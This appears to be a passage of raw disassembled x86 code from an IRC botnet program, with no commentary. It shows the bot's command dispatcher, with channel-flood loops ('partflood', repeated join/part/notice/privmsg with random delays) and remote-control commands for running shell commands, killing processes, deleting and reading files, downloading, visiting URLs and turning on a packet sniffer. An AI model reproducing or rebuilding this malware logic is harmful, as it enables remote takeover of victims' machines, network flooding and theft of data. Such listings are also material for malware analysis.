		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B504
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B4E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		call	near ptr 2680D12h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B464
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B450
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B44C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		call	near ptr 2680D12h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B424
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D400C


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB00C


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA72C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B34C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B24C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B21C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset dword_42B1E0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B178
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B150
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B120
